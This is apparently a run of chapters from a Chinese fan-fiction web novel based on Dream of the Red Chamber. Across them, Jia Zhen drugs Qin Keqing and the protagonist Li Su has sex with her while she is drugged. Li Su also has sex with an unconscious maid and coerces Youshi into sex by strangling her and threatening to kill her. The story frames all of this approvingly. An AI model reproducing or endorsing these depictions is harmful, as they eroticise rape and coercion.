“回二爷,天香楼侧的锦花厅。”赖二答道。 “素大哥,那却是个好去处,吃醉了酒有歇息的小厅,还能上天香楼观星赏月。” “哈哈哈,那感情好。” 一路弯弯绕绕,又走了一炷香,只见贾珍出现在了一座楼前,随后大步迎了上来:“哈哈哈,素兄弟,你是可来了。” 李素也笑着迎上去,没等贾珍抓自己的手,迅速把住了他的手臂:“怎能劳烦珍大哥亲自出迎?” “素兄弟说的哪里话,没有迎出府都是哥哥拿大了,宝兄弟可大好了?”贾珍虚应李素,随后又看向了扎着白布的宝玉 。 “无甚大事,让珍大哥挂心了,蓉哥儿呢?” “去盯厨房了,今天宴请你们,我可不敢怠慢!” 随后三人就一同进了厅,几人随后落座,有丫鬟小厮忙活着帮忙挂衣端茶。 李素今天下午跟探春喝的有点儿多,看到上茶就感觉尿意上涌,随后问道:“珍大哥,如厕该往哪里去?” “我带素哥儿去。” “不用,我自行去。” “那让小厮带兄弟去吧。” “我带大爷去。”寿儿忽然窜了过来,对李素和贾珍行礼。 贾珍点点头:“行,就你带素大爷去吧。” 李素跟着寿儿就出了厅门,往右方走去,很快过了游廊就是。 李素解决完,正要提裤子,外间的寿儿忽然说道:“素大爷,可要小的帮忙清理?” 听到这话,李素吓了一跳,这宁国府什么毛病,赶紧说道:“不用!” “素大爷如有需要,尽管对寿儿说。” 这次寿儿说话,带着尾音儿,有些恶心了。 “没有,你特么闭嘴!” 等李素出来后,寿儿凑了上来就要说话,李素伸腿就踹了他一脚:“离老子远点儿。” 寿儿被踢了个踉跄,却也不恼笑着道:“素大爷,小的这就离远,但有一事,想请素大爷知晓。” “何事?” 寿儿左右瞧瞧,低声道:“我家老爷今日要下药!” “下药?什么意思?” “我家老爷,让喜儿买了药,就是虎狼之药,打算用到蓉大奶奶身上!” 李素一惊,这贾珍什么意思?没得手? “你怎么知道是用在蓉哥儿媳妇身上?” “小的猜的!” “那你告诉我作甚?” “我想报复他们!”寿儿眼中放出了恶毒的光芒。 第87章 贾宝玉再搅局 “报复?” “怎么你了?” “小的为了老爷变的人不人鬼不鬼,到如今喜儿却占了上风,小的不甘心,就是想让他不痛快!” 说到这里,李素发现这寿儿脸上,一阵儿温柔,一阵儿扭曲,不由的又被恶心了一下子。 “说说你想怎么报复?为何找我?你怎知我不会拿下你交与珍大哥?” 寿儿跪了下来。 “我帮助素大爷得到蓉大奶奶,以蓉大奶奶的姿色没有男人能不喜欢,素大爷想必也听闻过她的名声。” 李素心说我太知道她的名声了,身兼钗黛之美,神话版里她还是警幻仙子的妹妹。 “你接着说。” “据小的打听到的消息,素大爷是皇上的红人,西府里还有事求着素大爷,素大爷是不怕咱们国公府的,您得了美人,自然不会难为小的。” 李素点点头:“那你打算怎么办?” “待老爷给蓉大奶奶下药之时,我会叫素大爷来,到时候素大爷直接把她带走,取了她的红丸。让老爷竹篮打水一场空。” “红丸?” “素大爷,有所不知,自蓉大奶奶进府后,老爷一直逼着蓉大爷不与她同房。” 李素恍然,心中对贾珍这个好大哥充满了感激。 听完他这个粗糙的计划,李素点点头:“那就如此办!” 寿儿大喜,不停的叩头:“多谢素大爷!多谢素大爷!” “快回去吧,省的珍大哥起了疑心。” “这就走。” 寿儿说着就爬了起来,转身往外走,没走两步就感觉自己的头被撞了一下,眼前一黑就晕了过去。 李素冷笑一声,蹲身在倒地的寿儿脑袋上按压了几下,随后拎着他来到屋外,用力一甩扔到了房顶上。 这家伙太可疑了,计划和理由漏洞百出,李素也不想管他真假,但无论如何都不可能让这样的小人窥见自己的隐私勾当。 所以,他不被冻死就是造化,冻死了也就冻死了。 完事儿李素大步流星的回了锦花厅。 “还是屋子里暖和,这天儿也太冷了一些。” 李素进屋搓着手,哈着气坐了下来。 贾珍大笑:“哈哈哈,我倒忘记了素兄弟是扬州人,不耐这神京的寒冷,快吃口热茶,寿儿呢?” 李素端起茶杯喝了一大口,舒了一口气,回话道:“寿儿不知道去哪了,我自己回来的,珍大哥有所不知,这扬州的冬天也冷,浸入骨子里的湿冷,尤其春寒时分降雨之后,屋子里存了湿气比外面还冷。” 宝玉却摇着头,有不同的看法:“湿冷算不得什么,扬州地处烟雨江南,也只有那等地方才能有素大哥这等灵秀之人,却不知那江南女子是何等风貌了?” 说完这话,竟然就发起呆来了,众人看着他头裹着个白布发痴,暗自失笑,也没人再接他的茬儿。 不一会儿贾蓉来了,见过了礼,菜也上齐,一水儿的官府菜,丰盛程度比荣国府的午宴更是高了一个层次。 贾蓉坐在李素的下首,热情周到:“素大叔,多用一些这个黄焖鱼翅,这道菜用老母鸡、火腿、干贝等食材熬制出浓郁的高汤,将发制后的鱼翅放入高汤中,用小火焖煮,直至鱼翅充分吸收高汤的醇厚味道才起锅,总共用时十二个时辰做成的,是侄儿专门从聚仙楼抢来的,哈哈哈。” “哈哈,那我可要尝尝。” 李素拿起被丫鬟分好的汤盂吃了起来。 一场饭吃下来,宾主尽欢,后半局就开始了你来我往的敬酒,不多时贾珍见李素有点儿高了,赶紧说起正事儿来。 “素兄弟,还没有定下亲事吧?” 李素放下酒盅,打了个酒嗝,嘿然一笑:“确实还没有定亲,珍大哥,难不成要给我找个媳妇?” “哈哈哈,还真有个好媒,且是天作之合。” 已经趴在桌子上的宝玉,闻言忽然抬起头来:“珍大哥,要给素大哥说亲?哪家的?” “赦大叔家的迎春,如何?” “迎……迎春姐姐?” 李素还没说话,宝玉忍不住接话,好像十分不可思议。 贾珍对宝玉点头:“对,就是迎春妹妹。”接着他对李素道:“她是赦大叔的女儿,是咱们荣国府的长房姑娘,是被老祖宗从小养在膝下耳提面命教导出来的,宜家宜室,乃是良配啊。” “若是素兄弟,高堂尚在,我也不会如此唐突与兄弟说起此事,所以素兄弟不会介意吧。” “我不同意!” 宝玉忽然眼睛红了,继续嚷道:“姐姐妹妹在一起多好,我不同意二姐姐走。”说着站起身,一脚踢翻了自己的椅子。 众人有点儿傻眼,不明白这个家伙发什么疯。 “哈哈哈,不走,不走,宝兄弟坐下,喝酒喝酒。” 李素把椅子给他扶起来,然后拽着他坐下来,宝玉坐下后,红着 眼睛看向贾珍。 贾珍看这模样,也没法往下说了,心说反正是你们荣国府的事儿,没说成也怪不了自己。 “对对,喝酒,喝酒。” 贾珍也不堪在意,他心里最重要的是今晚弄小秦氏。 所以接下来要把自己的好大儿灌醉才是最重要的。 他瞪了一眼贾蓉:“你球囊的,好好敬敬你素大叔,十六岁的子爵,前程远大,稍微帮衬你一下,你以后都会超过你老子。” “啊,老爷说的是,素大叔,小侄敬你。” “好,一起喝,哈哈哈,蓉哥儿,你以后就归我照顾了,有什么照顾不到的事儿就跟你素大叔说。” “有劳素大叔。” 贾蓉一口干了。 李素也干了。 贾宝玉不知在想什么,见他们俩干了,他也跟着干掉了。 不多时,李素和贾宝玉就睡了过去,而贾蓉还清醒着。 不该醉的醉了,该醉的没醉,这让贾珍有些不爽。 贾珍无法,只好先把客人人给安排了:“来人,把素大爷、宝二爷扶到里间暖阁里休息。” 贾蓉起身走到贾珍一旁:“我扶老爷去歇息。” “你?你球囊的也会照顾人?” 贾蓉被贾珍给瞪的心中一慌:“儿子给老爷尽孝,不知老爷去哪里歇息?” “上楼。” 贾蓉忙搀着贾珍上了天香楼,等到了厅中贾珍踉跄了一下,骂道:“你这球囊的是要把老子摔死吗?去把你媳妇叫来,毛手毛脚的狗东西。” 贾蓉听完后,面色阴晴不定愣在了原地。 贾珍抬脚就踹:“还不快去!” 第88章 儿媳妇,喝了这盏酒! 贾蓉面色阴晴不定的下了天香楼。 他想了一下,就奔了继母尤氏的屋子而去,他不想当王八,但又不敢和贾珍对抗,只好曲线救国了。 “蓉儿,我跟你一起去。” 尤氏心说果然被自己猜着了,贾珍要动手了。 “有劳母亲了。” 于是二人一起去叫了秦可卿。 秦可卿心中惴惴不安,看向尤氏和贾蓉,二人一个忧虑,一个斜眼看着自己。 “带上这丫头吧。”秦可卿不放心,指着宝珠对尤氏说道。 尤氏点头,贾蓉面无表情。 三人各怀心事来到了天香楼,看着一旁的锦花厅,尤氏不由的问道:“宝玉和素哥儿,都睡在这里了?” “是,他们各自歇在了南北里厢。” “宝珠,一会儿,若是被赶下来你就在这里等着你家奶奶,把她照应好。” 宝珠听到尤氏的话,扭头看向了秦可卿。 “听太太的吧。” 宝珠点头。 此时楼上的贾珍,让喜儿准备好了酒菜,同时把药泡了进去,就等着秦可卿来了。 “你也下去,滚的远远的。” “是,老爷,小的这就走。”喜儿一脸讪笑的给贾珍关上屋门出去了。 贾珍心里火热,在屋中来回走动,脑子里不停的想象着,等小秦氏来了,喝了这药酒,怎么摆弄她。 不一会他听到了外面的脚步声响,于是坐了下来。 门被推开,只见尤氏打头儿,秦可卿、贾蓉,还有个丫鬟宝珠一块进来了。 贾珍忍住怒气,黑着脸不说话看着他们。 无形的压力,让几人心中忐忑。 “见过老爷~” 几人主动见礼,其中夹杂着秦可卿那酥软的娇声,贾珍心中又是火热,看着其他几人心中怒火更盛。 见贾珍不应,贾蓉满脸堆笑率先走过来,在贾珍的注视下,他颤抖的拿起已经倒满的酒杯递向贾珍。 这一抖不要紧,贾珍的心都快碎了,这可是他的红丸药酒,见酒洒出了杯子,贾珍再也压抑不住心中的火气。 “放下!” “啊?” 贾蓉忙不迭的把杯子放到了桌上。 贾珍拿起手中的酒壶就砸向了贾蓉,同时怒吼道:“你球囊的,端个杯子都能洒出来,滚!” 只听得“啊!”的一声惨叫传来,贾蓉的身体猛地向后倾倒而去。随着“砰”的一声闷响,重重地摔倒在地。 刹那间,一股殷红的鲜血从贾蓉的额头处喷涌而出,那猩红的颜色触目惊心。 其他几人见状面色变得煞白,更不敢随意说话,担心触怒贾珍。 “你们也滚!谁让你们来的,还有你?你是想我休了你吗?滚回你的院子去!”贾珍怒向尤氏。 尤氏恐惧道:“我就是想来服侍老爷,这……就走!” 贾珍冷哼一声:“儿媳妇留下尽孝斟酒,你们都给我滚!” 不得已,贾蓉爬了起来,跟尤氏一起出门,剩下手足无措的秦可卿和丫鬟宝珠二人。 “你还不滚,是想现在就配小子么?” “老爷开恩!”宝珠跪下,看向了一旁的秦可卿。 秦可卿内心挣扎又无助,但不舍得自己的丫鬟遭难,于是咬了咬牙对宝珠说道:“你先走!” 宝珠一脸担忧的看了看秦可卿,咬牙出去了。 贾珍忽然笑了,声音开始温柔了起来:“儿媳妇,来,给我斟酒。” 秦可卿微微蹙着眉头,轻咬下唇,似是心中有所顾虑,但最终还是缓缓地抬起脚步,向前走去。只见她那婀娜多姿的身影在烛光的映衬下显得愈发迷人,每一步都仿佛带着一种独特的韵味。 此时,贾珍正目不转睛地盯着她,眼神中流露出一丝痴迷之色。 他的目光紧紧追随着秦可卿那袅袅娜娜的身姿,似乎怎么也看不够。而秦可卿那倾国倾城的容貌更是让贾珍如痴如醉,一时间竟然忘记了言语。 寒冷的冬夜,屋内因燃烧着的炭火而变得暖洋洋的。跳动的烛火将整个房间照得光影摇曳之间,更增添了几分暧昧与迷离的氛围。 此时此刻,偌大的屋子里就只剩下他们两个人,贾珍感到自己呼吸和心跳声都清晰可闻。 秦可卿双手端起了酒杯,递向了贾珍,臻首扭向一侧:“老爷~请吃酒。” 贾珍不住点头,笑道:“好,好,儿媳妇才是个贴心尽意的,一会陪我赏画。”他伸手接过了酒杯,甚至都没有借机去摸秦可卿的手。 他想慢慢来, 他自觉是个有情调有文化的。 一口干掉了这杯药酒,就感觉到了火热,从小腹开始升起。 而此时不甘心的贾蓉,下了天香楼后,坐在锦花厅中目光阴晴不定,但是忽然感觉后脑一疼,眼前一黑倒了下去。 前后两次被袭击脑袋的贾蓉,彻底晕了过去。 李素把他扛到了宝玉的里间,扔到了他的榻上,出了门就要往楼上摸去。 忽然发现了宝珠在楼下,于是又重复操作,弄晕了宝珠。 然后想了一下,把她先扛进了自己的里间。 天香楼上的贾珍本想着喝完酒,拉着秦可卿观画,促进一下感情再上马,但是这药的霸道出乎了他的意料。 于是他端起了另一杯药酒:“儿媳妇,你把这杯酒喝了。” 秦可卿自觉感到了危险,小脸吓得煞白,慌忙摇头后退。 “不要怕,喝完酒就放你回去。” 秦可卿再次后退,她看的很清楚,自己的公公目光像狼! 贾珍见她不就范,狠声威胁道:“如果你不喝,我就日日让你来伺候,你以为你能躲得过去?” 秦可卿听完这话,不由得掉下泪来,颤抖着接过了贾珍的酒杯,躲开了想趁机摸自己手的贾珍,正色问道:“老爷说的可算数?” “当然算!” 见她举起了酒杯,贾珍大喜。 那秦可卿贝齿轻咬朱唇,面露决绝之色,毫不犹豫地端起酒杯,仰头一饮而尽。杯中烈酒如火龙般滑入咽喉,带来一阵灼烧感,随后就感到了下体的不适。 随后她猛地转身用力推开身后紧闭的房门,朝外飞奔而去。 这突如其来的变故令一旁的贾珍大惊失色,心中暗叫不好:“怎能让她如此轻易逃脱!”说时迟那时快,贾珍来不及多想,当即迈开双腿奋起直追。 可谁曾想,仅仅跑出两步远,便听得“哎哟”一声惨呼传来,原来是贾珍自己不小心被方才用来砸向贾蓉的那个酒壶绊住了双脚。 由于事发突然且冲势过猛,贾珍整个人瞬间失去平衡,重重地摔倒在地,摔得个七荤八素、狼狈不堪。 秦可卿在这一时间,边跌跌撞撞的往天香楼下跑,就觉得头晕目眩,下身热潮滚滚。 忽然她脚步踩空,大惊失色之际就感觉自己掉入了一个温暖的怀抱,随后她就失去了理智向着那怀抱痴缠而去。 第89章 一夜鱼龙舞 李素正上楼,突然间,一阵轻微而急促的脚步声传入他的耳中。 他下意识地抬起头,借着昏黄微弱灯光,隐约看到一个窈窕婀娜的身影正跌跌撞撞地朝着楼下跑来。 身影宛如一朵在狂风中颤抖的娇花,脚步凌乱且失去了平衡。就在她即将摔倒在地的一刹那,李素毫不犹豫地向前冲去。 几乎是在同一时刻,他成功地将那个身影紧紧地搂入怀中。一股淡淡的幽香扑鼻而来,萦绕在他的鼻尖,让他的心跳不由自主地加快了几分。 由于事发突然,他甚至来不及仔细端详怀中之人的面容,就被她死死的抱住了自己的脖子,缠缠上来。 仅仅凭借着一种直觉和熟悉的感觉,便已经猜到这必定是秦可卿无疑。 被下了药的秦可卿! 李素抱着她转身就下楼,怀中的秦可卿胡乱的啃向他的脸、脖子、耳朵…… 闷哼娇吟,香风扑面,缠腻不断,又像是被小猫啃咬,痛并快乐的李素,加快了脚步很快来到了他歇息的里间暖阁。 关好锁死屋门,就欲拿水喂秦可卿,让她清醒一下,但是哪里来的及? 秦可卿又从后面痴缠上来,抱住了他的后背,李素扭身就见灯下秦可卿红唇微张,眼神迷离,泪水扑簌簌滑落而下。 “我……难受~老爷救我~” 强忍着说完这话,只见她再次疯狂的啃咬李素的脸庞,那绝美的脸颊,香暖的身子,一阵阵冲击着李素的心房。 好霸道的药! 同样心头火热的李素也不再管其他,猛的吻住了她的唇,随后抱起秦可卿就往榻上走去,把昏迷的宝珠往一边推开。 二人就倒在了榻上。 好不容易解开衣袍的李素也不再等了,李素也感觉自己的大脑好像轰然作响。 一夜鱼龙舞。 红着眼睛的贾珍,脑子里也只有一个念头,前进,前进! 不知怎么,他跑下楼,就撞进了贾宝玉的房间。 很快秦可卿二次死过之后,药效退却,清醒了过来。 清醒后被迫的投入了进去,感受另有不同,就好似前世的恋人,今生的相遇,没有了隔阂。 晓红泪湿,花开复跪。 安宁后,李素紧紧搂着她,轻声道:“我知你是谁,我也知道你是被下了药,更知道你的遭遇,以后你就是我的女人了,我是李素,想必你也听说了我,以后你是想在这府里还是想出去?” “老爷~我…也不知如何…呜呜呜。” 秦可卿听到这话,有安心也有茫然,又想起了自己这悲惨的遭遇,于是哭了起来。 “出府,大约你会很久不得见人,不出府,你依然是大奶奶,但麻烦也不会消失。但你可以先想想,不着急,我会让贾珍消停消停。” 秦可卿伏在李素的身上,点头不语。 她此刻有些六神无主,突然之间自己就有了一个真正的男人,而且就这么突然的苟且。 这事不能传出去!否则就是大祸,宁国府的少奶奶跟了别人,不说宁国府怎么样,自己肯定也没法活了。 她忽然想起了什么:“老爷把宝珠也要了吧,以后她更方便做一个信使。” 这女人果断的很,非常明白自己这事儿见不了人,那就拉一个下水,方便行事。 “她?” “老爷啊~以后她也是你的通房,早晚而已。” 秦可卿说完,强撑着自己的身子,帮昏迷中的宝珠宽起了衣裳,很快宝珠变成了一只羊,榻上也出现了两只羊。 李素不能拒绝秦可卿的好意。 宝珠也没有能力拒绝李素的大意。 因为昏迷,没有啼鸣便完成了仪式,随后李素温柔起来,同时还不忘照顾秦可卿,与她牵手亲吻。 日后。 随着宝珠清醒后,也被带入了节奏,总之算是不错的过程。 秦可卿劝慰垂泪的宝珠,把事情前前后后说了一遍,算是解决了后患,宝珠也是一个果断性子,更是对秦可卿忠心。 大有收获的李素此时心也静了下来,忽然就隐约听到了外面的声音,很奇怪的声音。 秦可卿忽然起身,伸手拿住了李素脖子上的玉佩:“老爷~” “嗯?” 李素看秦可卿拿自己的阴阳玉佩,忽然也注意到了秦可卿脖子上也挂着一个类似的,他的心咯噔了一声。 “怎么如此相似?你怎么也有?” “奴家,自小……自小就带着,养父把我领养回家之前就戴着的……” 李素伸手把秦可卿的玉佩摘了下 来,然后把自己的也摘下来,两个玉佩对在一起,在灯下细看,竟然一模一样。 于是李素把玉佩又调转了一下方向,鱼尾和鱼头相扣,竟然严丝合缝! 形成了一个完整的太极图! 这本来就是一对! 李素心里咯噔一下,随后就恐慌起来,心中大喊着,别!千万别!我求求亲爹李固大老爷,求求那没见过的亲娘,千万别搞出事儿来! 秦可卿,同时面色瞬间变得煞白。 心中大呼,一定不是兄妹! 一旁的宝珠好像也猜到了什么,仔细打量着眼前的老爷奶奶,老爷是倾国的男子,奶奶是倾国的绝色美人,好似是有一些相像。 难道? 宝珠也陷入了想象之中。 屋子里短暂的静谧,外面却断断续续的传来惨叫声,求饶声。 “珍…大哥,绕我!” 好似贾宝玉的声音,他不断的喊着什么,过了一会没了动静。 又过了一阵儿。 “老…老爷啊……我是你儿子啊,” “老爷,我是蓉哥儿啊……” “救命啊!” …… 声音凄惨高亢,李素和秦可卿、宝珠一时间面面相觑,一瞬间好像就明白发生了什么,竟然就忘记了玉佩的事儿。 “老爷,奶奶,上面好像有字!” 宝珠轻呼,把李素和秦可卿二人惊醒过来,她刚才恍惚间瞟过玉佩,烛火自侧面打过来,好像出现了字体。 “哪里有字?” “老爷,对着烛火,这样偏着看。” 宝珠把玉佩从李素手上取过来,斜着看去,李素与秦可卿也凑上来看,果真有字! 第90章 身世谜团 “云门双凤,花开并蹄。” 每个玉佩上面四个字,合起来一共八个篆体的小字。 “老爷~这是说什么?” 李素被这声音叫的心里酥了一下,秦可卿容貌不论,这说话带拐弯儿的声音真是要命,不怪贾珍有想法。 接着他苦笑了一声:“应该是说云家生了一对双胞胎女儿,所以……现在有两种可能。” “老爷,是什么可能?” 秦可卿不由得伏在李素胸口问道。 李素犹豫了一下,开口道:“一种情况是这玉佩是上古传下来的,被你我的长辈意外所得,还有一种情况就是你母亲跟我母亲是双胞胎姐妹。” 秦可卿惊喜道:“那我和老爷是姨表亲?” 李素知道她为何惊喜,这种关系在这个时代多有姻亲,与现代不同,再就是她生来没有血亲,秦业也是领养的她。 想到这里,李素悚然而惊,秦可卿的身世是可疑的,保不齐就是宫里的遗腹子啊。 秦业,一个不入流的“营缮郎”,从养生堂抱养的女儿,比庶女还不如的身份,却能嫁给宁国府的承爵人,下任族长为正室夫人,这里面的猫腻有多少? 而且以秦可卿的容貌来看,绝非小户家的基因能出的种子。 试着猜测一下,秦可卿如果是宫里出来的。 秦业受人之命,抱养了秦可卿。 贾珍又受贾敬的命令,贾珍与秦业结了姻亲。 书中又有北静王亲自搭棚祭奠秦可卿,如果说北静王看在贾珍的面子上是说不过去的。贾珍一个三等将军,又是个不着四六的人,没什么背景的儿媳妇死了,还是早夭。两下里都说不通让一个王爷做出这么大礼。 那么秦可卿是宫里,或者说是义忠亲王的女儿,是很有可能的。 如果真的是这样,自己的老娘可能是义忠亲王的大姨子? 李素想到这里,就想立刻回扬州,拉着老爹再好好问问亲娘的事儿。 “老爷?” 秦可卿见李素沉默,不由得轻声提醒,她心中十分期待是真的,想要个答案。 “我们可能就是姨表亲,得慢慢求证,这事儿交给我吧,你不要声张,背后可能牵扯着很大的因果……宝珠,你也是。” “嗯。” 两女用力点头。 外面忽然慌乱声起,人声忽然鼎沸起来。 忽得听到一声惨叫,随后有人喊道:大爷,可使不得啊! 接着不知道是谁喊了一声:不得了,老爷跟宝二爷、蓉大爷贴烧饼了! 宝二爷不行了! 珍老爷不行了! 快叫太医! 接着又是一阵乱哄哄的嚷叫声! 李素闻言慌忙起身,把烛火灭掉。 “你们快穿衣裳!” “啊~老爷~我看不见了,衣裳不知在哪里呢,老爷帮我~” 妖精“表妹”! 搞不好是还是“表姐”! 李素一边穿好裤子,一边披着袍子问道:“你等会儿,对了,你几岁了?” “奴家十七。” 李素穿好了自己的衣袍,随后拿起秦可卿的亵裤给她:“以后不要说奴家,谁告诉你这样称呼自己的?” 秦可卿把亵裤穿好,然后回话道:“是我嫁过来后,公公吩咐我的,老爷~我的肚兜呢?不知丢到哪里去了啊。” “你闻闻就能找到了。” “为何啊?” “最香的就是了。” 秦可卿闻言就跪着在榻上开始爬,过了一会儿,她叹息道:“啊~老爷,奴……我闻不到呢。” 刚说完,就感觉自己的胸前雪子被罩了起来。 她欣喜道:“还是老爷厉害。” “哈哈哈,这里面的学问可大了。” 宝珠已经默默的穿好了衣裳,在一旁抿着嘴偷笑。 主仆二人穿好了衣裳,李素安排她们二人睡到里侧,然后用被子盖上。 “你们在这里躲着,我去外面看看。” “老爷去吧。” 李素点点头,便起身推开了房门,随后又关紧了迈步来到了外间。 只见宝玉歇息的门口围着一帮下人,打着灯笼点着烛火,乱哄哄的,李素走到他们身后抬脚就对着一个撅着的腚踹了过去。 随后破口大骂道:“你们这帮混账,本爵的好梦全被你们吵了!” 只听“砰”的一声闷响,那被踹之人猝不及防,发出一声痛苦的闷哼,身体不由自主地向前扑去,直直地冲进了屋里。 而由于 惯性使然,他这一冲不打紧,竟连着撞倒了好几个站在他前面的同伴。 一时间,这些人像滚地葫芦一般纷纷倒地,跌作一团,屋内顿时响起一片惊呼与叫骂声。 “素大爷!” 赖二看到了怒气冲冲的李素。 “这是怎么了?” 赖二尴尬了一下,不知道该不该说,实在太丢人了,自己家老爷把宝二爷和蓉大爷给办了,他又被蓉大爷慌乱中给伤了根,昏迷了过去。 “怎么?我不能知道?” 李素愤怒的一把抓住了赖二的衣襟。 “可说,可说!” 赖二就把事儿说了一遍。 李素听完差点儿笑喷了,还真就贾珍把宝玉这丫头跟贾蓉给办了! 他压住心中的尿意,朝着赖二讥讽道:“就这?哪家豪门勋戚不是如此?不过,你们怎么来这么晚?” 赖二无奈道:“老爷今夜吩咐了,不许人近天香楼!” “珍大奶奶来了!” 忽然有人叫了一声。 李素看去果然是尤氏急匆匆的来了,身后还跟着两个丫鬟。 李素忽然脚步横移,站在了尤氏前面,尤氏猝不及防就撞了上来。 带球撞人! 李素忙扶住惊慌失措的尤氏,叹了一声:“珍嫂子,节哀!” 正有些尴尬的尤氏听闻这话,不由得感到天旋地转,哭嚎一声:“老爷啊!你怎么就去了啊~”呼喊着就往屋中跑去。 赖二有点儿懵,这是怎么话说的? “素大爷,您这是什么意思?” 李素斜了他一眼:“这对大嫂子而言,就是人间惨事,你懂个屁。” 赖二忙赔笑:“是,是……素大爷,您不进去看看?” “太脏了,我就不进去了,宝兄弟遭了这么大的罪,你们通知西府了么?” 赖二低声道:“派了人,去悄悄向政老爷汇报了。” 李素点点头。 但是,事情完全不是他们想的那样,而是有人叫开了荣国府的小门,随后沿着垂廊向里奔跑,一路跑,一路喊。 “宝二爷被珍大爷贴烧饼了!” “蓉大爷被珍大爷贴烧饼了!” “宝二爷被珍大爷贴烧饼了!” “蓉大爷被珍大爷贴烧饼了!” …… 这人正是被李素打晕扔到了房顶上的寿儿,醒来后不知道发了什么疯,开始疯狂的做起了宣传! 第91章 三杀宁国府 跑进屋中的哭喊的尤氏,忽然又跑了出来,李素再次撞球。 “嫂子,如何?” 尤氏一阵头晕目眩,扶着李素站稳,又离开了一些,心说还能如何? 屋里除了自己的男人贾珍昏迷过去了,还有个小叔子腚上冒红,不时的喊痛,还有个继子光着缩在墙角,这是她能看的吗? 只能等太医来了! 尤氏摇了摇头,强忍心里的慌乱,对一旁的赖二骂道:“你们这些个下流胚子,还不把他们遮盖起来?留两个人在这里,其他人都散了!” 赖二听罢,慌忙进屋去安排,等驱散了一众下人,尤氏再次扑进了屋里,随后嚎了起来:“老爷啊~” 李素想了一下,回了自己的屋子,到榻上后抱了抱秦可卿。 “老爷~怎么样了?” 李素听到这话,脑子里恍惚了一下,忽然响起了莫名的歌声。 我们一起~擦玻璃。 擦玻璃! …… 他晃了晃脑袋,驱除掉不健康的歌声,轻声道:“就是那样,现在你们还走不了,从侧间偷偷到天香楼躲起来,我送你们过去。” “老爷~奴……我疼呢。” “我知道,抱你们过去,老爷我有的是力气。” 里面的宝珠嗡声说了一句:“老爷,奴婢不疼。” 李素满脸笑容地伸出手,轻轻地揉了揉宝珠粉嫩蜜桃般的脸颊:“真懂事!你稍等片刻,先把你们家奶奶给抱过去。” 李素温柔地将秦可卿轻轻抱起,紧接着,他调整了一下姿势,将秦可卿稳稳地放在自己肩膀之上,然后双手紧紧地扶住她的双腿,以防她滑落下来。 就这样,李素扛起了秦可卿,轻轻打开了房门,但这一开门就吓了一跳,只见尤氏那张明艳的俏脸,出现在了眼前。 紧接着尤氏视线后移,就看到了李素肩膀上的秦可卿,她骤然捂住了小嘴。 李素心说真是见鬼了,不得已伸手掐住了尤氏的脖子,把她给拽了进来,随后把房门又关了起来。 秦可卿也发现了不对,随后就看到了自己的婆婆,吓得顿时花容失色,死死的咬着牙不说话,不敢出声! 李素把秦可卿放了下来,在她耳边道:“去榻上等我。” 秦可卿展臂环住他,轻声道:“要不然,把她也……” 李素笑了笑,心说都按照你这样的想法弄下去,宁国府还能有清白的女人么? “交给我,你不必忧心。” 秦可卿强忍着疼,跌跌撞撞走了几步就上了榻,拉过被子就把自己裹了起来,然后透过缝隙观察着李素和尤氏的动静。 尤氏这时已经被掐的翻白眼儿了,小手不断的抓挠,眼中的泪水不断的下流,面色憋得通红。 “大嫂子,能好好说话吗?” 尤氏忙不迭的点头。 李素的手缓缓的放开了她的脖子,尤氏大口呼吸着新鲜的空气,刚才那一瞬间真的感觉自己就要死了,心中充满了对李素的恐惧。 此时李素缓缓开口:“贾珍逼着可卿喝了药,逃跑时被我救了,后来我又救了她,我是解药,你能理解么?” “理解,我懂。” “所以这是个误会,也希望大嫂子保守秘密,你也不想自己不明不白的死掉吧,你应该听说过,几千匪徒都没能杀的了我,我杀个把人还是很轻松的,当然你可以尝试喊叫,看是你先死还是家丁先到?” 李素的笑容在尤氏眼睛里,仿佛就是魔鬼。 她吓得心里一抖,忙摇头道:“我不会说的,什么都不会说的。” 李素伸手轻抚她的脸颊:“我向来不相信人的承诺,口说无凭,大嫂子可有什么能够教我的?你也知道,我是皇帝前面的红人,贾府是拿我没办法的,别想着用贾府的力量对付我,有可能我没怎样,你先死了!” 尤氏噗通跪了下来,哭诉道:“素大爷,我对天发誓,今天的事儿,我什么也不知道啊。” 李素不理她,继续编:“我在江南手下有好汉一亿,恶棍百万,全部都能高来高去,你如果想死,会很惨,可惜了这如花的容貌,贾府护不住你的。” 随后李素又掐住了她的脖子:“大嫂子!我说了,我不相信人的口头承诺,如果让我信你,你就得留下点儿什么,懂么?” 尤氏翻着白眼,用力扣着李素的手,呜呜道:“我知道,知道了啊……呜呜呜” 李素松开了手,等她说自己的把柄。 但谁知道尤氏一把就扯掉了自己的衣裳,随后快速更衣,颤抖着抱住了李素的大腿,给李 素宽衣。 在李素把住她的时候,她扭头又说了一句:“我……还有,两个妹妹。” “桀桀桀!嫂子,记好了,我不是我哥。” 在被子里躲着偷瞧的秦可卿,撇了撇嘴。 很快! 是个自我写诗的白葫芦,真是不同凡响。 李素暗骂了一句,这骚老娘们儿,竟然是这么个属性。 不多时,外面又响起了脚步声呼喊声,西府的人来了,就是不知道来的是谁。 就在她更衣的功夫,哭喊声就响了起来,随后又有人喊道:“太医呢?太医怎么还没来?” 尤氏匆匆忙忙把自己穿戴好,低声快速说道:“你们别出去了,我去应付。” “不,我要跟你去。” “大爷,还不信我么?” 尤氏有点儿急了,自己都这样了,怎么还不行?难不成自己还真要把命交出去? 李素笑道:“不是不信你,也不是因为你,贾府这么大事儿,怎么能没个外人在场?” “为何要有外人在场?” 尤氏一时没有反应过来。 “得有见证啊,回头你掩护好可卿就行了,其他的正常,不用多事。” “那我知道了。” 于是二人前后脚就出了门,出门后尤氏又是大哭一声:“老爷啊~” 声音竟然凄惨无比,就像死了娘老子一般,也不知道是因为刚才的事儿,还是心中悲奋贾珍之事。 李素跟在后面,慢悠悠的走去,到了屋门口,只见鸳鸯在门外像热锅蚂蚁,不断的问着小厮太医的事儿。 这是贾母亲自来了啊! 第92章 憔悴的政老爷 除了鸳鸯之外,还有探春。 另有一个外貌柔美、端庄的女子,李素上午见了,想必就是贾迎春了,此时应该属于自己了。 还有一个小萝莉,看起来比宝琴还要小一些的,应该是惜春无疑。 三个女孩儿一同被挡在了外面。 尤氏刚进去。 此时屋里,又传出一声喊叫:“不好了!老祖宗晕过去了!” “老祖宗!” 鸳鸯再也顾不得什么,大呼一声就奔进了屋子,众人慌乱成了一片。 三春也想往屋里闯。 “你们不能进去!” “素大哥?” 见是李素探春面露惊喜,迎春忽的面色微红,把头侧向了一边,惜春则大胆的看着李素。 李素向三人颔首,随后道:“里面的事儿,不可让你们观看,老太君只是晕过去了,不会有大事,等太医来了就好了。” “太医来了!” 